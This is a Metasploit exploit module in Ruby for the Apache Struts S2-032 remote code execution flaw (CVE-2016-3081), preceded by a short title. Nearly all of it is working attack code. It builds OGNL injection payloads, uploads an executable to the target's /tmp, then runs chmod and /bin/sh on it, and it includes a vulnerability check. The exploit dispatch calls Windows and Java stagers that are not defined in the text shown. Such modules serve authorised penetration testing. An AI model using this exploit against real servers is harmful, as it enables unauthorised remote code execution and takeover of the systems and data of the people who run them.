struts s2_032 rce - linux_stager
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
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'Description' => %q{
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This module exploits a remote command execution vulnerability in Apache Struts
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version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
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Execution can be performed via method: prefix when Dynamic Method Invocation
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is enabled.
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},
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'Author' => [ 'Nixawk' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2016-3081' ],
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[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
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],
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'Platform' => %w{ linux },
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'Privileged' => true,
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'Targets' =>
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[
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['Linux Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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]
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],
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'DisclosureDate' => 'Apr 27 2016',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
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OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
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], self.class)
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end
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def send_http_request(payload)
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uri = normalize_uri(datastore['TARGETURI'])
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send_request_cgi(
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'uri' => uri + payload,
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'version' => '1.1',
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'method' => 'GET')
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end
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def parameterize(params) # params is a hash
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URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
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end
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def generate_rce_payload(code, params_hash)
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payload = "?method:"
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payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
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payload << ","
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payload << Rex::Text.uri_encode(code)
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payload << ","
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payload << Rex::Text.uri_encode("1?#xx:#request.toString")
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payload << "&"
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payload << parameterize(params_hash)
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payload
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end
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def temp_path
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return nil unless datastore['TMP_PATH']
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unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
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fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
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end
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datastore['TMP_PATH']
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end
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def upload_file(filename, content)
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var_a = rand_text_alpha_lower(4)
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var_b = rand_text_alpha_lower(4)
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var_c = rand_text_alpha_lower(4)
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var_d = rand_text_alpha_lower(4)
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code = "##{var_a}=new sun.misc.BASE64Decoder(),"
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code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
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code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
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code << "##{var_b}.close()"
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params_hash = { var_c => filename, var_d => content }
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payload = generate_rce_payload(code, params_hash)
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send_http_request(payload)
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end
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def execute_command(cmd)
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var_a = rand_text_alpha_lower(4)
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var_b = rand_text_alpha_lower(4)
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var_c = rand_text_alpha_lower(4)
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var_d = rand_text_alpha_lower(4)
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var_e = rand_text_alpha_lower(4)
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var_f = rand_text_alpha_lower(4)
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code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
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code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
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code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
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code << "##{var_d}=new char[1024],"
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code << "##{var_c}.read(##{var_d}),"
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code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
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code << "##{var_e}.println(##{var_d}),"
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code << "##{var_e}.close()"
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cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
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params_hash = { var_f => cmd }
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payload = generate_rce_payload(code, params_hash)
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send_http_request(payload)
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end
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def linux_stager
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payload_exe = rand_text_alphanumeric(4 + rand(4))
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path = temp_path || '/tmp/'
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payload_exe = "#{path}#{payload_exe}"
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b64_filename = Rex::Text.encode_base64(payload_exe)
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b64_content = Rex::Text.encode_base64(generate_payload_exe)
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print_status("Uploading exploit to #{payload_exe}")
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upload_file(b64_filename, b64_content)
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print_status("Attempting to execute the payload...")
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execute_command("chmod 700 #{payload_exe}")
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execute_command("/bin/sh -c #{payload_exe}")
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end
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def exploit
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case target['Platform']
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when 'linux'
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linux_stager
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when 'win'
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windows_stager
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when 'java'
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java_stager
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else
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fail_with(Failure::NoTarget, 'Unsupported target platform!')
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end
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end
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def check
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var_a = rand_text_alpha_lower(4)
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var_b = rand_text_alpha_lower(4)
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addend_one = rand_text_numeric(rand(3) + 1).to_i
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addend_two = rand_text_numeric(rand(3) + 1).to_i
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sum = addend_one + addend_two
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flag = Rex::Text.rand_text_alpha(5)
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code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
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code << "##{var_a}.print(#parameters.#{var_b}[0]),"
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code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
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code << "##{var_a}.print(#parameters.#{var_b}[0]),"
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code << "##{var_a}.close()"
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params_hash = { var_b => flag }
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payload = generate_rce_payload(code, params_hash)
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resp = send_http_request(payload)
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if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
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Exploit::CheckCode::Appears
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else
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Exploit::CheckCode::Safe
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end
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end
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end
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